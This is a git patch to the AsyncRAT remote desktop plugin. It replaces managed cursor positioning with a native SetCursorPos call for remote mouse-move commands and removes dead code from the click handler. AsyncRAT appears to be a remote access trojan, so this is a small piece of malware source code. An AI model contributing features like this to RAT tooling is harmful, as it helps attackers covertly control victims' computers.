From 1df3645b07fd5e0f39fac52d4d9295a9bdf72ee3 Mon Sep 17 00:00:00 2001 From: NYAN CAT <32758426+NYAN-x-CAT@users.noreply.github.com> Date: Mon, 16 Oct 2023 17:19:06 +0300 Subject: [PATCH] Add native api SetCursorPos for mouse move event --- AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs index 83fbdb8..af40992 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs @@ -38,16 +38,13 @@ namespace Plugin case "mouseClick": { - //Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - // Cursor.Position = position; mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); break; } case "mouseMove": { - Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - Cursor.Position = position; + SetCursorPos(Convert.ToInt32(unpack_msgpack.ForcePathObject("X").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Y").AsInteger)); break; } @@ -172,6 +169,9 @@ namespace Plugin [DllImport("user32.dll")] static extern bool GetCursorInfo(out CURSORINFO pci); + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); + [DllImport("user32.dll")] static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon); const Int32 CURSOR_SHOWING = 0x00000001;